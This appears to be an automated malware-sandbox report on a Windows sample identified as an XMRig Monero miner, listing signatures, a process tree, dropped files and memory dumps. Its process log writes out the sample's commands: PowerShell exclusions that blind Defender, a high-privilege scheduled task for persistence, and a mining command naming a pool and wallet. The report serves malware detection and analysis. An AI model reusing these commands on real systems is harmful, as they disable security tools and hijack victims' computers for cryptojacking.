Analysis
- max time kernel
62s - max time network
65s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
- submitted
18/12/2022, 16:08
General
- Target file.exe
- Size 1.9MB
- Sample221218-tk74vacg22
- SHA256 eb56f4e64622a32b633ad9cd6946ffb444041a4fcb53c8b583d76bd5ba4dea58
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp1D03.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\cloud\TQOV.exe"C:\ProgramData\cloud\TQOV.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
TQOV.exe
TQOV.exe
tmp1D03.tmp.bat
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
TQOV.exe
memory/668-142-0x00000000028F4000-0x00000000028F7000-memory.dmp
memory/668-130-0x000007FEF27A0000-0x000007FEF32FD000-memory.dmp
memory/668-79-0x000007FEED4C0000-0x000007FEEDEE3000-memory.dmp
memory/668-135-0x000000001B970000-0x000000001BC6F000-memory.dmp
memory/668-159-0x00000000028FB000-0x000000000291A000-memory.dmp
memory/668-129-0x00000000028F4000-0x00000000028F7000-memory.dmp
memory/668-152-0x00000000028FB000-0x000000000291A000-memory.dmp
memory/668-156-0x00000000028F4000-0x00000000028F7000-memory.dmp
memory/1020-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1020-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1020-188-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1028-123-0x000007FEF27A0000-0x000007FEF32FD000-memory.dmp
memory/1028-126-0x00000000024C4000-0x00000000024C7000-memory.dmp
memory/1028-78-0x000007FEED4C0000-0x000007FEEDEE3000-memory.dmp
memory/1028-75-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp
memory/1028-139-0x00000000024C4000-0x00000000024C7000-memory.dmp
memory/1028-133-0x000000001B980000-0x000000001BC7F000-memory.dmp
memory/1028-153-0x00000000024CB000-0x00000000024EA000-memory.dmp
memory/1028-161-0x00000000024C4000-0x00000000024C7000-memory.dmp
memory/1028-162-0x00000000024CB000-0x00000000024EA000-memory.dmp
memory/1356-145-0x000007FEFE050000-0x000007FEFE09D000-memory.dmp
memory/1356-93-0x000007FEFAF10000-0x000007FEFAFAC000-memory.dmp
memory/1356-94-0x00000000000E0000-0x0000000000121000-memory.dmp
memory/1356-95-0x000007FEFD950000-0x000007FEFD9B7000-memory.dmp
memory/1356-91-0x000007FEFB210000-0x000007FEFB27F000-memory.dmp
memory/1356-96-0x0000000077660000-0x000000007775A000-memory.dmp
memory/1356-97-0x000007FEFE350000-0x000007FEFE3EF000-memory.dmp
memory/1356-98-0x0000000077540000-0x000000007765F000-memory.dmp
memory/1356-99-0x000007FEFD720000-0x000007FEFD78C000-memory.dmp
memory/1356-100-0x000007FEFF920000-0x000007FEFF991000-memory.dmp
memory/1356-101-0x000007FEF6B10000-0x000007FEF6C07000-memory.dmp
memory/1356-102-0x000007FEFE1B0000-0x000007FEFE28B000-memory.dmp
memory/1356-103-0x000007FEF54D0000-0x000007FEF5EBC000-memory.dmp
memory/1356-104-0x000007FEFDD40000-0x000007FEFDE6D000-memory.dmp
memory/1356-106-0x000007FEFBB40000-0x000007FEFBB96000-memory.dmp
memory/1356-105-0x000007FEFE550000-0x000007FEFE753000-memory.dmp
memory/1356-107-0x0000000000AE0000-0x0000000000D34000-memory.dmp
memory/1356-108-0x000007FEF6DC0000-0x000007FEF6EEC000-memory.dmp
memory/1356-189-0x0000000000AE0000-0x0000000000D34000-memory.dmp
memory/1356-144-0x000007FEF14E0000-0x000007FEF1542000-memory.dmp
memory/1356-92-0x0000000000AE0000-0x0000000000D34000-memory.dmp
memory/1356-163-0x000007FEFCBC0000-0x000007FEFCC1B000-memory.dmp
memory/1356-146-0x000007FEFA520000-0x000007FEFA584000-memory.dmp
memory/1356-114-0x000007FEFB920000-0x000007FEFBB35000-memory.dmp
memory/1356-119-0x000007FEFE7F0000-0x000007FEFE8C7000-memory.dmp
memory/1356-122-0x000007FEFE290000-0x000007FEFE2AF000-memory.dmp
memory/1356-160-0x000007FEFD630000-0x000007FEFD666000-memory.dmp
memory/1356-147-0x000007FEFA590000-0x000007FEFA601000-memory.dmp
memory/1356-137-0x000007FEFCDA0000-0x000007FEFCDB7000-memory.dmp
memory/1356-136-0x000007FEFCEF0000-0x000007FEFCF12000-memory.dmp
memory/1356-148-0x000007FEFD370000-0x000007FEFD395000-memory.dmp
memory/1356-149-0x000007FEFB280000-0x000007FEFB2A7000-memory.dmp
memory/1356-132-0x00000000000E0000-0x0000000000121000-memory.dmp
memory/1356-143-0x000007FEF14C0000-0x000007FEF14DC000-memory.dmp
memory/1356-131-0x0000000000AE0000-0x0000000000D34000-memory.dmp
memory/1520-151-0x000000000264B000-0x000000000266A000-memory.dmp
memory/1520-124-0x000007FEF27A0000-0x000007FEF32FD000-memory.dmp
memory/1520-127-0x0000000002644000-0x0000000002647000-memory.dmp
memory/1520-134-0x000000001B780000-0x000000001BA7F000-memory.dmp
memory/1520-121-0x000007FEED4C0000-0x000007FEEDEE3000-memory.dmp
memory/1520-155-0x000000000264B000-0x000000000266A000-memory.dmp
memory/1520-154-0x0000000002644000-0x0000000002647000-memory.dmp
memory/1520-140-0x0000000002644000-0x0000000002647000-memory.dmp
memory/2008-150-0x000000000251B000-0x000000000253A000-memory.dmp
memory/2008-128-0x0000000002514000-0x0000000002517000-memory.dmp
memory/2008-141-0x0000000002514000-0x0000000002517000-memory.dmp
memory/2008-120-0x000007FEED4C0000-0x000007FEEDEE3000-memory.dmp
memory/2008-157-0x0000000002514000-0x0000000002517000-memory.dmp
memory/2008-125-0x000007FEF27A0000-0x000007FEF32FD000-memory.dmp
memory/2008-138-0x000000001B770000-0x000000001BA6F000-memory.dmp
memory/2008-158-0x000000000251B000-0x000000000253A000-memory.dmp
memory/2032-66-0x0000000001090000-0x00000000012E4000-memory.dmp
memory/2032-62-0x000007FEFF920000-0x000007FEFF991000-memory.dmp
memory/2032-72-0x000007FEF6AE0000-0x000007FEF6C0C000-memory.dmp
memory/2032-65-0x000007FEF5EC0000-0x000007FEF68AC000-memory.dmp
memory/2032-64-0x000007FEFE1B0000-0x000007FEFE28B000-memory.dmp
memory/2032-70-0x000007FEFBB40000-0x000007FEFBB96000-memory.dmp
memory/2032-68-0x000007FEFDD40000-0x000007FEFDE6D000-memory.dmp
memory/2032-67-0x0000000000B90000-0x0000000000BD1000-memory.dmp
memory/2032-63-0x000007FEF6DF0000-0x000007FEF6EE7000-memory.dmp
memory/2032-83-0x000007FEFE290000-0x000007FEFE2AF000-memory.dmp
memory/2032-84-0x0000000001090000-0x00000000012E4000-memory.dmp
memory/2032-71-0x0000000001090000-0x00000000012E4000-memory.dmp
memory/2032-61-0x000007FEFD720000-0x000007FEFD78C000-memory.dmp
memory/2032-60-0x0000000077540000-0x000000007765F000-memory.dmp
memory/2032-69-0x000007FEFE550000-0x000007FEFE753000-memory.dmp
memory/2032-85-0x0000000000B90000-0x0000000000BD1000-memory.dmp
memory/2032-59-0x000007FEFE350000-0x000007FEFE3EF000-memory.dmp
memory/2032-58-0x0000000077660000-0x000000007775A000-memory.dmp
memory/2032-57-0x000007FEFD950000-0x000007FEFD9B7000-memory.dmp
memory/2032-56-0x000007FEFAF10000-0x000007FEFAFAC000-memory.dmp
memory/2032-55-0x000007FEFB210000-0x000007FEFB27F000-memory.dmp